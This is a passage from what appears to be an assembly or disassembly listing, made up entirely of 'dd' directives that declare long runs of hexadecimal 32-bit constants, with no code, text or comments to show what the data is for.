562BF7B1h, 8092939Fh dd 930BB8C9h, 7A0E4CB5h, 0EF21C03Eh, 0EB887B51h, 0E69E4BF7h dd 1BCF055Ah, 0A07DB054h, 0D62A4596h, 577F18Dh, 2ABD488Dh dd 0AF1C040Fh, 0B8368DBh, 0F9653C58h, 0B39173E4h, 5723F43Ah dd 63E0C05Fh, 2B189F4Dh, 7BAA8043h, 0B6A9B1Bh, 0F330F2B1h dd 0D486A7DCh, 166E16A5h dd 0E3BE4198h, 673F91A4h, 969C1C23h, 3EFC0BD4h, 819CD46Dh dd 214557F6h, 8DEBE870h, 0CD7819C2h, 1EF04EF2h, 8DDC6F3h dd 0CB0007F3h, 0D1783B1Eh, 4F17ACF4h, 15C11B6Fh, 8BB8AE47h dd 0E5FB39A6h, 9AB649D8h, 6B481108h, 93426DCEh, 0F5665C55h dd 0C956696Ah, 13E045E4h, 85EBD810h, 1108DA0Ah, 0A0C614F9h dd 52C163FFh, 0D91A90Fh, 0E6F44C59h, 456E5DCEh, 0ED0FEBB4h dd 67EE4928h, 27FE4404h, 2CF623CEh, 0AE09E5C6h, 0A523EC12h dd 0DB9B1923h, 7F06B8D0h, 964D46Fh, 0FB269EBBh, 0A8299D10h dd 0E032E132h, 0F27E9479h, 24FD59C5h, 7458F085h, 0B9957A4Fh dd 0CF6803Fh, 0D12AA79Eh, 97AB505Bh, 46AB167h, 44490C82h dd 0B7B9AA61h, 5BD843E1h, 737E415Dh, 638F55C0h, 0D70ECC3Ch dd 3688B228h, 0E2CFF99Ch, 0A60980DFh, 9815BC5Ah, 5EB0E314h dd 6152E6EAh, 5129E157h, 0B5B066F0h, 36B45F1h, 6F16EEBCh dd 0A3127702h, 0DB4C68B1h, 1B7EA40Dh, 0CFB73BFBh, 371A08B4h dd 69CCB350h, 3D3BF5DFh, 0D2F09EC5h, 0A28EEC66h, 0ACB11D74h dd 0D2574977h, 43491922h, 1A1FF42Fh, 0C04B8073h, 46C73918h dd 0FF21D56Eh, 460C82B9h, 39A75741h, 417CB9C8h, 0CA9920BDh dd 0D9A76A26h, 0F86BCAE5h, 0F170C374h, 44DE3EB9h, 437B9FC0h dd 25FC87EFh, 6AA49BE9h, 8042DE5Ah, 69E6C970h, 0BA00FF5Ch dd 34C22FF6h, 0FDB528C8h, 0A76FFB0Bh, 0F0C47CEBh, 2402D17h dd 0C142FBD5h, 54CEB8F0h, 4584E834h, 90CA3D1Eh, 0BF7D7AD8h dd 3EC48491h, 0B035E162h, 0EB24BBD2h, 35828503h, 0D2BE2CFAh dd 0D21A5D4Fh, 36507728h, 8A670341h, 85CEDBE7h, 0FA203AD0h dd 0D4751EF6h, 752B6785h, 0F3BA438h, 849CE2Ch, 24BC32CBh dd 0EB0AB04Dh, 85FB5D28h, 0D0391E5Dh, 293B8ADEh, 6500D34Dh dd 0F2CD14BDh, 446871B1h, 0CC565399h, 2281673Ah, 6A6F3A3Eh dd 29937B81h, 3F2DD1CFh, 0B8D2AA55h, 821D503h, 74C71A91h dd 0F0BDA4ADh, 0F4F007FBh, 0D9FA4BF8h, 6E792B0Bh, 4A188D43h dd 6B106BF6h, 60A8957Dh, 439F481Eh, 773A71FDh, 0F07A7EE1h dd 73DB15FFh, 11A1A096h, 0DA8FB2BAh, 0D2A9FBB2h, 8EA4EB30h dd 86422ACAh, 0B5E1CD48h, 0BB31F81h, 612EF552h, 0B4625C72h dd 0A7C972F6h, 5FB402h, 0FD49D518h, 52C10A19h, 0D883890h dd 0CD4846ACh, 9997CBF7h, 3BE64A4Ah, 8E71F0B2h, 0B597C507h dd 4DF6A91Eh, 0CC279BDAh, 108D2BD9h, 0E84D6FC5h, 56D01740h dd 3B599E48h, 0BD1B7BC1h, 4F9ACD5Bh, 866320E3h, 0FCE39A99h dd 0D9FBC92h, 0AA7C576Ch, 0BEAC61FAh, 9A03D43Ah, 7F31C2F4h dd 0BB0C40ECh, 0DC68FB28h, 0FFE6E3E1h, 0FBCD2AB1h, 0F60E63ABh dd 9D37AB37h, 349E96D7h, 0C8FFA10Fh, 92E07FD7h, 7946B977h dd 54E8484Bh, 77B27432h, 841B561Fh, 0F187F729h, 0FF8A03FAh dd 96618CA7h, 0F849D60h, 795616ECh, 0F512D6CDh, 828451C7h dd 127A0D73h, 0C41A70A6h, 0FC149DFDh, 48CA3DB9h, 1BE93FBCh dd 0F253A64Eh, 64533D21h, 59259F6Bh, 5B7D4107h, 8B0A30D4h dd 6DCB60DEh, 0C1AEAD2Bh, 3FD107DAh, 6C94711Bh, 6E393F3Fh dd 5DB74478h, 9B4A0962h, 2FAFB5DCh, 8AD6185Ch, 64144AC7h dd 68FBB77Fh, 55A7EBh, 93F424A5h, 91E70D8Dh, 5395F66Fh dd 0AB6FBB68h, 90669425h, 0E8E77E05h, 7BD2FB53h, 0EAF18EB1h dd 81DBA603h, 0F3ED9896h, 5DC67A35h, 0D668ED05h, 5C7B7CD3h dd 14F8D0B5h, 948DB1A1h, 1B4ACF51h, 2C60A491h, 557376D7h dd 0AFECCC84h, 0DB70BEA4h, 5F467A01h, 0E97EA6EBh, 0C8723851h dd 0E113639h, 0A92071A9h, 8B6EBE2Bh, 28F23FEh, 7380120Ch dd 14364A71h, 66A7BE11h, 0CAE39459h, 5C51A0BAh, 0EA2CD2A4h dd 26F86F72h, 843A8344h, 0B60A5E0Dh, 257FA2DAh, 82254D82h dd 0B3AB2A0Bh, 226D3147h, 4798F93Ah, 0BC09D2DCh, 0B6AD19B3h dd 3A258E4Bh, 0C1000243h, 923C5ACAh, 0F2E762A5h, 0E7E04556h dd 1EDBA3E2h, 5AF32E63h, 0A570F54Ch, 6007CD72h, 5A2A5ABBh dd 4A6B6085h, 3A76EDC7h, 0A51C5CA4h, 9C85A282h, 0FDAA784Eh dd 3122244Bh, 0DF71C845h, 9BF143E8h, 7EEEDFC8h, 1D9871BDh dd 0C9A7FD70h, 76A1B4F4h, 675E4790h, 0C5BDFADAh, 63041907h dd 6DECA1A0h, 0D59A2F7Ch, 0E6E7E9D9h, 13CBB1BAh, 0C56F4F7h dd 30ABCD42h, 74B9BC3Dh, 533F2DB0h, 0E66860FDh, 0FFD6DA57h dd 82ECAD6Dh, 0A6241B4Dh, 0CF66D432h, 84F84B41h, 9C7522FBh dd 0A40E728Bh, 3A0D3C61h, 0E0179E86h, 46628EEFh, 2D369356h dd 0A7775138h, 0EA2D0B92h, 0FBE0A7Eh, 8DFE553Bh, 4F85C608h dd 0D1342DF4h, 0E5D6F731h, 7A10CE16h, 7FD1580Eh, 785A023Fh dd 7BD38588h, 70C23EFCh, 3E996FA7h, 2F765450h, 0AC247033h dd 0E7926067h, 0EA1D0353h, 0F6C78679h, 71CD4CA0h, 422EE05Fh dd 0BF12C4C9h, 72AF42F5h, 6C63F2EAh, 9031B252h, 0A1176BBAh dd 0D97B1DAFh, 86BD5C3h, 4F61C958h, 0C9401C57h, 58476FEAh dd 5839B01Bh, 0CC981443h, 0BC8E002Eh, 0C72F1E8Ch, 3F9810BEh dd 213363E6h, 35144F8Ah, 7E0F62DDh, 236CF26Dh, 8C6364h dd 7C134AEDh, 0C630DA33h, 0FAFEED3Fh, 6C5E9CC1h, 0CFAB68BFh dd 3865D67h, 92D5C779h, 3B0D9B6Ah, 1643E234h, 221A4C6Bh dd 0DCBF9AECh, 81A5CAD3h, 3B00290Eh, 3E861B18h, 0FE82AD1Bh dd 479FE363h, 9CFF970Dh, 7CDEF1DAh, 2298B2B3h, 4E698367h dd 6064002Dh, 12BC828Ch, 34B01AF6h, 0A11F6805h, 782C969Dh dd 0B1721B88h, 0DAC05DBCh, 51D71A3Fh, 75DB0D5Dh, 405CC5E8h dd 83B61BAFh, 3F25A9C7h, 0CFC32547h, 0B2FC86B4h, 52D263E1h dd 343D8DEFh, 0DFF7CA60h, 0CF606BBCh, 0B56EA5B9h, 0ED1BDF58h dd 2CBEB5F0h, 7CEFE582h, 0BC8CFA8Dh, 82416B7Ah, 644567F9h dd 0F5FE56D4h, 7FB023F5h, 7F774E27h, 70ECAA24h, 7B67838Dh dd 7129FAA3h, 0A33A1D1Fh, 61047C40h, 7D4BCE5Dh, 564101BEh dd 31E94449h, 0D7852C45h, 0B4F44F16h, 0BE62ADD8h, 538B3B94h dd 229FEA2Ch, 0E314E4D2h, 726AF716h, 130D8168h, 0B3530F00h dd 0C8667A1Ch, 913B684Ah, 88CB2A8Bh, 9895CF69h, 0D947A00h dd 654A2DD9h, 80F82041h, 776AAFB6h, 3F8082F5h, 0E1D56643h dd 0CF481AA2h, 81018D4Ch, 0AD7BB6C7h, 463EE354h, 3B7B1205h dd 9C239C66h, 5924AFE4h, 0DC56023Bh, 0BDF7386Fh, 0DFBE0789h dd 26E78E13h, 0E1DF7504h, 59BEAFCh, 5380CB22h, 0B901B383h dd 0C6A37B27h, 0EBAB1202h, 8A32D183h, 616C5886h, 3E66D445h dd 34156F23h, 0FB68CE1Ch, 0F9118560h, 4C20D85Eh, 80F5A74Ch dd 3E42E6F7h, 608DE5F6h, 0D47AAD30h, 0DD13BBFh, 46DF64B6h dd 0E92882D3h, 0FF471866h, 8A68FA5Fh, 4FB5AB48h, 58B5DF75h dd 2EEC846Bh, 0E7C06247h, 3A949CBBh, 98CC1FD7h, 908B5A0Bh dd 0DD42AB9Dh, 0A228304Dh, 697BBC8h, 1037DE58h, 0B6CB8678h dd 0C0104ADCh, 0D3467834h, 3418D1EFh, 0C238F676h, 5C305C8Eh dd 2E194873h, 1435C076h, 4AEB6DD6h, 3980ACC2h, 0E360AC65h dd 0C6D4A470h, 99631802h, 31CB1B24h, 0BEDA104Eh, 243A407Ch dd 0A935C52Dh, 7FCBF000h, 0FDE17484h, 0E664CED1h, 12423201h dd 5DF051ABh, 3D545DF2h, 0B63886AEh, 8467CDBBh, 0D968B4DEh dd 0A519D02Bh, 8BE2F02Ch, 0BE90063Eh, 0C9C05ACEh, 7078F748h dd 457FDE1Ch, 0E7513FBBh, 1D4A05C1h, 37D419ABh, 0B69ED540h dd 0ABBF0663h, 233C34FEh, 13F84C6Eh, 41925030h, 0BC30840Eh dd 7E2E3E4Bh, 99BEF98Fh dd 3A0D789Dh, 9BC3800Eh, 33D7EBEAh, 0E85D7759h, 86E947A2h dd 2CD8B703h, 3EAE7374h, 0A70A96Fh, 0A48B9262h, 481907DEh dd 3422DEDAh, 49DEB8FEh, 0F6CBEE40h, 0A7749BA1h, 2D4E606h dd 80FF1294h, 0FBDC5449h, 0E7EE3FD5h, 0AAFD54CFh, 273C371Ch dd 8A75A440h, 0AD99500Bh, 0F0F01D21h, 0BAF49D34h, 6BBA156Eh dd 44C7F052h, 909AAE09h, 7603E65Fh, 82C716C1h, 0FFCCC78Dh dd 8842F8F5h, 5E6DEA47h, 74CEB70Eh, 40E1A774h, 27EB93F3h dd 19CB57D8h, 55688AA2h, 0B8D4BB80h, 1C65783Eh, 0AFA9D77Fh dd 0B3B5BBD4h, 928FDAh, 717D24B3h, 64F26826h, 2E04B1ADh dd 0F452F315h, 0CE6611BFh, 9A656879h, 0DB9A39F4h, 0D6EE6EF8h dd 20A40ED5h, 99F1243h, 0E73B903Ch, 0A96A1A37h, 5F523E85h dd 0A3E26363h, 18D27183h, 0D2A38351h, 2CD6FEC0h, 9235FC3h dd 88CE6FD3h, 0C5D6634Ah, 2A27B736h, 0E5CEF5E7h, 90D9CA32h dd 28FEC7D4h, 0DD49AFF3h, 2D89C6A1h, 8EDA2F48h, 96DB01D3h dd 3170CD31h, 50B5B654h, 0D083F768h, 2D4D9F9Dh, 45BDC399h dd 0B4C21696h, 0D867E57Ch, 6107FCF0h, 199551CAh, 0D70179CDh dd 75E04725h, 3EA05FB0h, 4EECE8EEh, 0C4B9D153h, 0CA2C049h dd 3850A6D1h, 0D212606Bh, 0EFF739Dh, 0EB088F75h, 7F4AB314h dd 0B0DCA139h, 17283A1Eh, 0BE27D514h, 0C3E1202Dh, 0F496766Fh dd 916843AEh, 0AA765A35h, 803C79B4h, 3188FB76h, 90B97014h dd 30BEF6E2h, 0FE6D4493h, 0CBD400ACh, 0C77DA9E1h, 0BB9BAEFEh dd 12A59BCFh, 0C6F51605h, 0A0C78129h, 0ABF3C674h, 1A7D719Eh dd 97429A94h, 0E859EC19h, 7B812DB1h, 70D68865h, 0A4F62FB9h dd 0D70924DAh, 0E2D6E5BDh, 0A63EDCCEh, 155E8764h, 0A216247Eh dd 942D48C6h, 232E3D29h, 3A41B17Dh, 0B1A711B4h, 0E0D3941Eh dd 0ED732B08h, 0F4987C7Ch, 0B5D48FCh, 0F216197Eh, 50587E54h dd 231CD1C8h, 1EECC91Dh, 58E349EFh, 654972A7h, 289E05EDh dd 84F90162h, 561A6B32h, 0BD2B2A52h, 0B024D5A3h, 0E9A2B929h dd 24373553h, 3E96DDEEh, 145C6DF3h, 6429617Ah, 17CECA3Bh dd 5B343C36h, 0BFEE99AAh, 22BAE5F7h, 0A696D9h, 0CA31B3EAh dd 6BCCD220h, 0D88FD75Fh, 542AF113h, 0D3609521h, 0ABE0AA02h dd 45DB5CCBh, 87090163h, 0AD5F554Fh, 86DC716Fh, 0FE41CE3Bh dd 6DC04B8Fh, 258F0697h, 2271D4A4h, 32CC1F77h, 8CB0C350h dd 7103ABC9h, 86531672h, 9C85FDBEh, 0CF0F61E6h, 9C2F38B2h dd 199AA781h, 1CF5FB1Ah, 70F333C2h, 6DE949BAh, 21DFA26h dd 74ECBA56h, 0D91E909Ch, 5624AFBEh, 0AD551CEFh, 0DE823D3h dd 72ADD49Dh, 0B79A5B31h, 0F93823D3h, 28131A20h, 5C9E781h dd 65B03BD2h, 54845735h, 17A2F57Dh, 0CA4B2DB3h, 0BE094188h dd 0B068EDBCh, 3FC3814Bh, 7553BC71h, 3D38E02Dh, 0DB42EF3Ch dd 8A2097C2h, 8182D864h, 75284239h, 0CEBA6651h, 0C45E0005h dd 7F6649A2h, 147A1B4Dh, 0B6575683h, 0B93F17EBh, 48EF8F2Bh dd 47EC1516h, 7416FF3Fh, 0DCC78CA0h, 68369EFBh, 491C5694h dd 9D805615h, 906559F9h, 5AA9DD94h, 2ACBDE2Fh, 63A35723h dd 3A6F5C07h, 0BC15987h, 0B036EC46h, 10149865h, 5427BF41h dd 0B02ADE7Fh, 5BDF1560h, 0B8919D55h, 0AB4727EEh, 0A8F49A0Ah dd 330A9EDEh, 18CC04BEh, 65715AA3h, 0A77DABDh, 75D77B81h dd 0E5E7677Dh, 806C7EC6h, 0B6C5293Fh, 8FB4B6D8h, 2DF84564h dd 53B2974Bh, 364F6794h, 1A916990h, 0A9DC7691h, 448A8F16h dd 0A72E1CA0h, 9B1DAFC6h, 0BFD31651h, 0D8AD6AF5h, 31A2E47Fh dd 896BFEA5h, 0F7013253h, 0E0487E30h, 0D11FDD1Fh, 0DB9DD4Eh dd 373E0DF2h, 0B5A45A38h, 0EE9D520Bh, 0B6EC1287h, 3D21291Fh dd 26063EB8h, 166C73C3h, 134E265Ch, 7097C82Dh, 49502B6Ch dd 99DA92Eh, 3C86B414h, 0E4502538h, 0E9A20D23h, 5AC456Ah dd 9394A0B6h, 11B977FFh, 0EE2966C3h, 541A5993h, 6194C9C3h dd 65A48982h, 0F3049273h, 7D32334Ch, 74D9ADEDh, 0E2909DF8h dd 15C97005h, 33263463h, 6A2DB1A6h, 3F2787C1h, 6879AF6Dh dd 64E27B50h, 0D76F0877h, 4F3579B5h, 0DD3A58EDh, 218C9064h dd 545DFFB7h, 426D2A0Eh, 0CF3DBD8Bh, 0EC0BD109h, 34C314D8h dd 0DE67C5DBh, 0E8C2FB0Fh, 37E9A2E4h, 0F22A95E1h, 6497000Bh dd 0A3100A82h, 0DCF9C49h, 460B37E9h, 0FB37D429h, 281B5F9Ch dd 321F2F48h, 0BDD5DB08h, 4B2C6FB5h, 80C8EF04h, 0AB6CE405h dd 0F16A4072h, 0A940C9C9h, 4FFA2734h, 0B1A56D23h, 0FF70DFB6h dd 0CC0F1B21h, 92F331D4h, 7FE6DF2Dh, 0BDF79B5Eh, 0C404BA04h dd 853DC29Eh, 952E1425h, 0DE9A661Dh, 0D2D5203Ch, 47614049h dd 0DDEDB3E9h, 1724BEF5h, 0F08E9316h, 7019250Ah, 0B4C9CA51h dd 163BB1DEh, 0D6437FB2h, 40AA3E8Fh, 0D8B3031h, 0B463D4CEh dd 7DC3FBD5h, 3F1CA0EEh, 988415BFh, 0C25526E0h, 23143133h dd 104BE8DFh, 0C4B00305h, 1094CEE3h, 0E05192B8h, 0ED73E849h dd 3CB99C08h, 6B00F5BBh, 0DCEAF387h, 1ABC6CCEh, 0D0E2C35Fh dd 63A9169Fh, 0A67ABD7Dh, 0EC4C1A23h, 72C3DFB9h, 5500425Fh dd 0B7E2F8D7h, 74E906BBh, 955B85E6h, 0CE217FC8h, 0F946E40Bh dd 5B934594h, 4C14F538h, 1B9819EBh, 0A8D7DD02h, 6708719Eh dd 0A1F7067Bh, 9FD02BADh, 3B6CE974h, 0BCBA3148h, 0C54A8561h dd 7F2A6428h, 569F7975h, 0D3057E19h, 0EC1577E3h, 83D9583Fh dd 3E7E0389h, 6AEFB2Eh, 8F58F3ECh, 15BA178Dh, 0F4EA55F8h dd 0CD369469h, 0D2E9F2F9h, 2E909AADh, 0F94C8044h, 0B639499Dh dd 2973BB48h, 92CA7A6Bh, 3E5E1F6Ch, 0B9C68562h, 0AAF86FD3h dd 5D189799h, 0F82E27Ch, 36E17EFh, 96158548h, 9BD13E1Dh dd 0AB888676h, 0EC9BA511h, 0C8B0E271h, 0C502DB34h, 0F055E79h dd 0CCCB7FDCh, 9EF9B241h, 0A4E94B18h, 0EF63F7E8h, 0ED9007E7h dd 828C800Fh, 0E4FC0505h, 0C4C89CDh, 0A43066C7h, 236A1384h dd 0F41B5915h, 0FBB11F92h, 77A4D3F9h, 957A9BE4h, 66F612CFh dd 592218C2h, 0CB5111Fh, 77CBFA63h, 9E804AADh, 8245AF96h dd 0A0748034h, 34F7D72Dh, 7847D6B0h, 0F7F0E822h, 7DAD2CD3h dd 74750BCCh, 9AFA8E90h, 0EAB98250h, 426E000Eh, 8A850868h dd 83477AEDh, 0A441E99Fh, 0C34960ACh, 59C1D98Ah, 0AA21B634h dd 0A214155h, 7BDC9B62h, 3765C14Fh, 0E4CB6E5h, 6E355B46h dd 72B2B3D0h, 0A9018479h, 49C2F5F1h, 6F04D290h, 469FDA24h dd 0B1F27BF9h, 723F092Ch, 9D44CB74h, 574CC6CFh, 2E8B8DA8h dd 0F3AD96E6h, 0A7D7CFB6h, 6537195Bh, 1A801D5Bh, 712CEDAAh dd 5B5D261h, 4B02AEEFh, 0F3236A9Ch, 0E08ABF83h, 2AC9B560h dd 0DF18DC15h, 76F4C406h, 6488D6B2h, 0B1CDF1D5h, 8367455Dh dd 0E8045754h, 4264F021h, 0B3C1B77Eh, 0B90F8BEEh, 97A06C49h dd 0CFC68362h, 68E5FA2Eh, 6DFBBA7h, 9B097B73h, 1F8197A6h dd 81F5B319h, 62EFF031h, 0B060B532h, 3970FD74h, 23F908AEh dd 8749DBCBh, 11F23EB3h, 8FE5C12Ah, 0FA0D2737h, 0A3CE87E4h dd 938A8F92h, 0A7B66D3Bh, 4342EC8h, 0F5B8906Bh, 1E787357h dd 5F5B2B9Ah, 90EFFF50h, 0FC2A7FB6h, 158BE2F1h, 31025519h dd 866E2404h, 97FDB583h, 3FDD7211h, 4FA268BFh, 0FF5C9C6Ah dd 671E5E4Ah, 6A8635A2h, 76AE04B4h, 7697ABDh, 5844B492h dd 225DC069h, 0FC8449D4h, 2A6156Bh, 370C443Eh, 89AF189Ch dd 89FED444h, 0A660A802h, 0B139BC51h, 0F7039D8Eh, 0C69A5A9Ah dd 9B604AFAh, 71FB5100h dd 60FD7C4Bh, 4DB0E676h, 34DE21B7h, 0C625F6C2h, 3FB16B64h dd 4356B480h, 624A4CCBh, 1DC1A131h, 49C03E8Bh, 10A4D25Eh dd 0A22FE814h, 940299A3h, 0D133C275h, 0B827D277h, 0A7418719h dd 94C87F5Ah, 9C692B40h, 5552D340h, 2E06DE04h, 847A94B6h dd 111C744Ah, 94351ADBh, 6B7ABE52h, 0BE7D4B3Dh, 1D98AA70h dd 5071CF5Dh, 2E8F70EBh, 0FF447088h, 739A2D73h, 26CE57BFh dd 603AE9A5h, 9BC3226Fh, 0F6F21EB3h, 86590DEDh, 15962654h dd 587F7649h, 3D3830A5h, 708D321h, 831CB175h, 2C7D1C58h dd 7DA79651h, 0AD811CBCh, 0CE27B9B0h, 529085F3h, 0EAEA58D2h dd 34DCA644h, 883D9048h, 348EA848h, 0EEB3457h, 0E3F60C25h dd 4E446B7Fh, 2B86780Eh, 65B37419h, 37AF39Dh, 131BDDB9h dd 0B5E7029Eh, 9A5BABB7h, 96D5A1EAh, 8AE5FFCFh, 0C6990446h dd 3231B872h, 3B3BFFF9h, 753247C1h, 7DDF225Ch, 0D077286Eh dd 686F6EA4h, 0F4FC4246h, 84BFFF39h, 8F19566Fh, 0C0F068B1h dd 0CC198069h, 98749CF6h, 0D160644Ah, 0CE30E141h, 7D6D953Ah dd 14ED7395h, 0E325DF8Ch, 252A1996h, 118A2F46h, 141DF396h dd 0ACF070BFh, 1C7F95B9h, 4DFF1D47h, 0E7D00CB8h, 38835CEFh dd 9B843CA3h, 0D9459F96h, 49FA7428h, 0A19B9125h, 66DE69Fh dd 4A525B68h, 0E5CA50A1h, 4EC355A3h, 73AB7178h, 6F5792A1h dd 0E5A432Dh, 494694EBh, 0EAFF8A29h, 0F8063CE3h, 14CD42E7h dd 744C0EA6h, 91496B0Eh, 85616F4h, 0ACBE1DD2h, 0E98E4E11h dd 27F89464h, 0ED21C75h, 48776A40h, 21A73586h, 4C2E4C0Fh dd 63B3AB81h, 567EBF3Dh, 14E638FDh, 0FBFD20ABh, 0B27CA5FAh dd 7CC7FCF7h, 4A9F8F0Bh, 5506D36Ch, 730DAB83h, 0E387FD24h dd 0A3A6ECEBh, 7F170579h, 4A0A0C7Fh, 3DB88AC4h, 2DF60135h dd 0C6ADFE0Bh, 0A00D84FBh, 6926B4FCh, 5CA9C8C5h, 7E33B284h dd 0C74D1136h, 244D55FEh, 530753EBh, 0BF6A1F98h, 7275317Eh dd 0D3B4D6E3h, 55C90718h, 885EDDAAh, 7E71A1CDh, 44A6B0ECh dd 0C7A18EEEh, 79F68479h, 78D7180Dh, 6CFDB1A9h, 4EEEE786h dd 0FB439579h, 8B5DDCDCh, 0D166323Eh, 5EB8DE98h, 0C662F0F9h dd 1240D952h, 0D2220DC3h, 0AD229091h, 91A09D80h, 501AE617h dd 58F799CBh, 5A832057h, 21A12DDAh, 9CE25A91h, 8FB675A9h dd 2086B7ECh, 5B4D1CD7h, 0BF015EDDh, 4E3CFDACh, 7D2D77B5h dd 0D5138D1Fh, 117A1158h, 0DB0CFFDFh, 2C12C6F4h, 0AD520956h dd 13AA2DC4h, 0FD4F5488h, 16E229Dh, 991F2757h, 3122EF8h dd 36D9CC0Ch, 6EFEFh, 0B1B3B9F9h, 98926931h, 45F6A245h dd 0D95806AEh, 182505F1h, 4F3AE06Eh, 1BCBA9A6h, 0BA88984Bh dd 293F8F1Ch, 6DCC8BFDh, 11BCFAB6h, 0C438989Eh, 2E956103h dd 9F3EDD3h, 0A7930C0Ah, 87A9819Eh, 61079008h, 0CA2B4440h dd 0C8DAEE44h, 0E3070BFBh, 1ABBD689h, 440F8D84h, 4D928BC0h dd 607F6DE9h, 7EAE9714h, 67FAA62Ch, 0BC0DFA3Ah, 6C9BAB6Bh dd 47974229h, 0FC1032E0h, 939E834h, 0D4F22429h, 41FC18ACh dd 0B98ACAFBh, 0B8BB885Fh, 10BB130Ch, 0A86FC34Ah, 49262508h dd 0B507E51Fh, 0B2D8EA9Bh, 21A585F4h, 0AB77AB28h, 0A77BEEEAh dd 4FE51E26h, 20FB67BFh, 1878CFCFh, 1334C086h, 2DAD7C39h dd 0DA539C16h, 11220E3h, 0D6030D4Eh, 0C58D81C0h, 729411F5h dd 0F73E698Dh, 2D1DF745h, 7BD3A6C5h, 0CD721B34h, 0E0A7451Fh dd 6E6807AAh, 0DB1A9441h, 1A2B0A05h, 42C01888h, 0DA8086E5h dd 589073DDh, 147E5E1h, 69B711CAh, 0E9277947h, 0C835EE26h dd 746F1B91h, 0B50AE2BDh, 4BE13063h, 9BE8BFD3h, 3B20BD72h dd 10DFBFE4h, 933CA6A4h, 0E534D567h, 3EA931E7h, 2E713424h dd 0CCD57282h, 1DAA78Bh, 0FA4F03EBh, 71DD18BDh, 37637C1Bh dd 0A6AF330Ch, 0A3BFC6E2h, 54F96D6Eh, 10E62A01h, 3ECACEE9h dd 0F24EE1E5h, 0FDDFE668h, 1A58A8ABh, 0DF3D409Fh, 6265293Bh dd 0C51247C0h, 1B583A7Bh, 176A222Dh, 8732BED7h, 0B4C5F33Fh dd 0D06A8985h, 35F57364h, 0D90DA3F4h, 2B58AB10h, 0A84F5982h dd 0B0B76029h, 4B406F68h, 0C2966128h, 15BBACA5h, 305BC805h dd 369F8B4Dh, 0CD7EBCDFh, 0C31517D9h, 2216577Eh, 6CFE3E1Ah dd 1DEF5188h, 32FA60BEh, 0F40FA98Ch, 0D3C2E2A3h, 8530FE17h dd 0A3D91EF8h, 0D5109781h, 58AAC3EEh, 316A393Ch, 58A2EBD5h dd 0ECB9D3E0h, 9AC6F808h, 1FC0F089h, 0B449FA32h, 0A13C792h dd 0FFFBDEEAh, 95177E07h, 0F0C5E9A8h, 0AB1DB8BDh, 0BA9CBAECh dd 4DCFFEh, 3C6305D5h, 0CAEFB45Bh, 1E4B4060h, 0E21D1AADh dd 3880F859h, 0D272EF60h, 26B5400Ch, 0AEA4A288h, 55587A82h dd 1F45BC8h, 412B747Bh, 83ABE732h, 2E7EB75Ch, 0ACA26AB3h dd 0C914DF02h, 8E21323Ch, 2DD8E590h, 37D1061Eh, 897ADD0h dd 55F3E97Bh, 0AD838A76h, 0C1B924AEh, 0F5C6FF16h, 0EBB95BCEh dd 13C6E704h, 9430018h, 0AB290F23h, 0D0C221FDh, 0F022754Eh dd 4A54CECEh, 526E3689h, 0C9AC7C87h, 9517EDCDh, 9EAB0F0Eh dd 385002EDh, 0D33F85B6h, 53038BCAh, 6B5C069h, 0D0D55A49h dd 56D4844Bh, 66B4FA4Fh, 0E46DE7A4h, 2AEBCD58h, 489C1BB2h dd 1AC3E899h, 0ADECC006h, 0E830FC3Dh, 0D4BFE37Ch, 7E537ED6h dd 35217E6h, 0D62DE81Bh, 16569B1Fh, 0F99B7B5Ah, 95B17D9Ch dd 3BE9DD7h, 7F611EDFh, 69E666B8h, 28DD2748h, 0FBF44F87h dd 0A616412Bh, 0DF4623CBh, 73FEF8A9h, 4950C12h, 944AEA15h dd 0B5E07278h, 36581F77h, 0B0EE1A09h, 0A3AB9D13h, 0D79D6A5Eh dd 0AD7DDA17h, 0B4B9D67Dh, 0B17D4B7h, 4F030673h, 0ABF154D1h dd 5D414214h, 41522FFAh, 9A868CE5h, 8A1B4296h, 0EB959B5Ch dd 2A3E6EA4h, 91A3A0C0h, 501571F6h, 0B6EB8B61h, 22764689h dd 27133857h, 0B85E197Bh, 948D6EC2h, 4510A15Eh, 55195638h dd 0B3204B6Bh, 0E48346CDh, 38B27883h, 0A28A1945h, 2B0F7704h dd 99CFA801h, 0CC27B5Fh, 79DEED01h, 63C05330h, 0A0D8C7Ch dd 7529114Fh, 96DF87E5h, 0DEEE092Dh, 0AC26C680h, 7AEC5224h dd 4A5E26Dh, 281F421Fh, 2AED3B98h, 47802664h, 97E3FCh dd 0A29D36FFh, 0A86E59A6h, 3026BB83h, 6C829B2h, 93CFFC0Fh dd 87B79BB7h, 3DC3223Ch, 2893BDDh, 0C5EC8EB0h, 789317CCh dd 0C8C8FCDCh, 59EAE08h, 176438AAh, 22EC18E4h, 32A52D6Fh dd 30D42CD9h, 0DF914537h, 62B9119Fh, 6A1AF58Fh, 850FD7A4h dd 4EA09DEFh, 0FB0AE54Bh, 6E7BB3C2h, 0A9589AC2h, 45232168h dd 0B1AE8365h, 0F0457FECh, 0CA0B4B34h, 9D4A5819h, 33BEE62h dd 2F6FAC96h, 66CA0FCAh, 589FBDE2h, 0D085B054h, 17F63C06h dd 0AD564F70h, 2B717614h, 9ACE9DD9h, 7D8AD3B7h, 0DF2D4986h dd 877888FEh, 0A7F4FE1Fh, 4DFB0448h, 85CEAD2Ah, 59724CF7h dd 48BF2D0Eh, 0F0EDF7D9h, 0F13D0440h, 2B8955ECh, 0A547B67Ah dd 47180078h, 0F4962129h, 0FDD0BDCCh, 0F9448551h, 4B06BB6Eh dd 0A0F3E4C4h, 50903C9Eh, 9F31FB97h, 0DF9C6987h, 0C6C5ED07h dd 0C97C9EC5h, 72BB244h, 0C8D8878Fh, 2B431FE6h, 7B1211A8h dd 9E7B4631h, 0E62AF671h, 0BA5087AEh, 7B667136h, 55F90D1Eh dd 4BF63D71h, 5FFD06EDh, 2D04C014h, 0F84529E2h, 73020014h dd 33E3489Fh, 34AD2584h, 3F448018h, 1B4FBBABh, 4F43FE86h dd 1BD6A26Fh, 31E0F070h, 0B486E424h, 2E634645h, 7D8DBF66h dd 5908A01Dh, 0C58C3E7Fh, 0DADD58A9h, 0BD4598C0h, 667AB6F5h dd 6FC8A751h, 0F73179F4h dd 2628904Fh, 0C71E79C7h, 7EABAE4h, 0F067E758h, 0B91D3EEEh dd 21E95EFCh, 0FD2E39DDh, 2D026561h, 5C480B52h, 5D615727h dd 2C25769h, 0C342128Eh, 0DEAC79BFh, 0CEF31434h, 0A0981519h dd 8BD79644h, 0B0F14DBBh, 0DE5D4C79h, 420745B0h, 0C9D70407h dd 1D8597AAh, 0A1914Fh, 8F958D16h, 